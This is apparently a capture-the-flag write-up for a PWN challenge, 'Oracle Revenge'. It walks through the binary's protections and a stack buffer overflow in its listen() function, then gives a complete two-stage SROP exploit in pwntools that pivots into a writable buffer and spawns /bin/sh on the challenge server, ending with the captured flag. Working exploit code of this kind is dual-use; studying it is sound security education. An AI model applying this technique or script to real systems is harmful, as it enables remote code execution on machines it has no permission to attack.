Challenge Name: Oracle Revenge
Category: PWN
CTF: MOJO-JOJO
Description: The silence has deepened, and the echoes have turned hostile. The orchestra is gone, leaving only the raw signal in the void. Can you conduct the dissonance and reclaim the silence?
Connection: nc mojo-pwn.securinets.tn 9004
Initial Reconnaissance#
Binary Analysis#
$ file main
main: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 4.4.0, not stripped
Security Protections#
$ checksec file main
RELRO Stack Canary NX PIE
Full RELRO No Canary Found NX enabled PIE Disabled
Key observations:
- No Stack Canary - Buffer overflows are exploitable
- NX Enabled - Cannot execute shellcode on stack
- No PIE - Fixed addresses, simplifies exploitation
- Full RELRO - GOT is read-only, no GOT overwrite possible
Running the Binary#
$ ./main
════════════════════════════════
ECHOES Revenge
════════════════════════════════
Only signals remain.
════════════════════════════════
The void echoes louder...
Use this echo to guide your signal: 0x0000000000404020
Speak signal:
The binary prints an address (0x404020) which is a hint for exploitation.
Vulnerability Analysis#
Disassembly of listen() Function#
0000000000401330 <listen>:
401330: sub rsp,0x28 ; Allocate 40 bytes
...
401389: xor edi,edi
40138b: mov rsi,rsp
40138e: mov edx,0x400 ; Read 1024 bytes!
401393: mov rax,0x0
40139a: syscall ; read(0, rsp, 0x400)
40139c: add rsp,0x28
4013a0: ret
Critical Vulnerability: The function allocates only 40 bytes (0x28) on the stack but reads up to 1024 bytes (0x400). This is a classic buffer overflow.
Finding the Offset#
Using a cyclic pattern to determine the exact offset to the return address:
$ python3 -c "from pwn import *; print(cyclic(100))" | gdb ./main -batch -ex 'r' -ex 'x/gx $rsp'
0x7fffffffd658: 0x6161616c6161616b
$ python3 -c "from pwn import *; print('Offset:', cyclic_find(0x6161616c))"
Offset: 40
The offset to control RIP is 40 bytes.
Available Gadgets#
objdump -d main | grep -A 2 "pop\|syscall"
Limited gadgets available:
- 0x401310:
pop rax; ret - 0x401320:
syscall; ret - 0x4011bd:
pop rbp; ret - 0x401257:
pop rbx; ret
Problem: We only have pop rax for setting registers, but we need to set rdi, rsi, rdx for syscalls!
Key Memory Regions#
- 0x404020:
scratch_buffer- Writable memory region (size 0x1000) - This address is leaked to us at runtime!
Exploitation Strategy#
Since we lack gadgets to set all necessary registers (rdi, rsi, rdx), we use SROP (Sigreturn Oriented Programming). SROP allows us to set all registers at once using the rt_sigreturn syscall.
Two-Stage Attack#
Stage 1: Write Second Payload to Known Location#
- Trigger buffer overflow
- Use SROP to call
read(0, scratch_buffer, 0x100)- Set
rax = 0(read syscall) - Set
rdi = 0(stdin) - Set
rsi = scratch_buffer(destination) - Set
rdx = 0x100(size) - Set
rsp = scratch_buffer + 0x18(new stack location)
- Set
- This reads our second payload into
scratch_buffer
Stage 2: Execute Shell#
- Write “/bin/sh\x00” + ROP chain to
scratch_buffer - Use another SROP to call
execve("/bin/sh", NULL, NULL)- Set
rax = 59(execve syscall) - Set
rdi = scratch_buffer(pointer to “/bin/sh”) - Set
rsi = 0(argv = NULL) - Set
rdx = 0(envp = NULL)
- Set
- Get shell!
SROP Primer#
The rt_sigreturn syscall (number 15) restores CPU context from a sigreturn frame on the stack. By crafting this frame, we can set all registers to arbitrary values:
frame = SigreturnFrame()
frame.rax = 59 # Syscall number
frame.rdi = addr # First argument
frame.rsi = 0 # Second argument
frame.rdx = 0 # Third argument
frame.rsp = stack # Stack pointer
frame.rip = gadget # Instruction pointer
Solution#
Exploit Code#
#!/usr/bin/env python3
from pwn import *
# Target configuration
HOST = 'mojo-pwn.securinets.tn'
PORT = 9004
# Binary analysis
elf = ELF('./main', checksec=False)
context.arch = 'amd64'
context.binary = elf
# Gadgets and addresses
pop_rax = 0x401310 # pop rax; ret
syscall_ret = 0x401320 # syscall; ret
scratch_buffer = 0x404020 # writable memory
def exploit():
"""Two-stage SROP exploit"""
p = remote(HOST, PORT)
# Receive the leaked address
p.recvuntil(b'echo to guide your signal: ')
leaked_addr = int(p.recvline().strip(), 16)
print(f"[*] Leaked scratch_buffer: {hex(leaked_addr)}")
p.recvuntil(b'Speak signal:\n')
# Stage 1: Buffer overflow + SROP to call read()
offset = 40
payload = b'A' * offset
# Trigger rt_sigreturn
payload += p64(pop_rax)
payload += p64(15) # rt_sigreturn syscall number
payload += p64(syscall_ret)
# Sigreturn frame for read(0, scratch_buffer, 0x100)
frame1 = SigreturnFrame()
frame1.rax = 0 # read syscall
frame1.rdi = 0 # stdin
frame1.rsi = leaked_addr # destination
frame1.rdx = 0x100 # size
frame1.rsp = leaked_addr + 0x18 # new stack
frame1.rip = syscall_ret # execute syscall
payload += bytes(frame1)
print(f"[*] Sending stage 1: {len(payload)} bytes")
p.send(payload)
sleep(0.3)
# Stage 2: Write to scratch_buffer
# Layout:
# [0x00-0x07]: "/bin/sh\x00"
# [0x08-0x17]: padding
# [0x18]: ROP chain (return address after syscall; ret)
stage2 = b'/bin/sh\x00' # String at scratch_buffer
stage2 += b'B' * 16 # Padding to offset 0x18
# ROP chain continues here (after read returns)
stage2 += p64(pop_rax)
stage2 += p64(15) # rt_sigreturn again
stage2 += p64(syscall_ret)
# Sigreturn frame for execve("/bin/sh", NULL, NULL)
frame2 = SigreturnFrame()
frame2.rax = 59 # execve syscall
frame2.rdi = leaked_addr # "/bin/sh"
frame2.rsi = 0 # argv = NULL
frame2.rdx = 0 # envp = NULL
frame2.rsp = leaked_addr + 0x400 # safe stack
frame2.rip = syscall_ret # execute execve
stage2 += bytes(frame2)
print(f"[*] Sending stage 2: {len(stage2)} bytes")
p.send(stage2)
sleep(0.2)
# Get shell!
p.interactive()
if __name__ == '__main__':
exploit()
Running the Exploit#
$ python3 solve.py
[*] Leaked scratch_buffer: 0x404020
[*] Sending stage 1: 312 bytes
[*] Sending stage 2: 296 bytes
[*] Switching to interactive mode
$ ls
flag.txt
main
$ cat flag.txt
MOJO-JOJO{St4ck_P1v0t1ng_1nt0_Th3_V0id_Of_Ch40s!}
Key Takeaways#
- SROP is powerful when you lack traditional ROP gadgets - it allows setting all registers with just
pop rax; retandsyscall; ret - Two-stage exploits can bypass limitations by using one syscall to write a more complex payload
- Information leaks (like the scratch_buffer address) are crucial for exploiting non-PIE binaries
- Cyclic patterns are essential for finding exact buffer overflow offsets
- The challenge name hints at the technique: “Oracle” (information leak) and “Revenge” (ECHOES Revenge from the banner)
Flag#
MOJO-JOJO{St4ck_P1v0t1ng_1nt0_Th3_V0id_Of_Ch40s!}





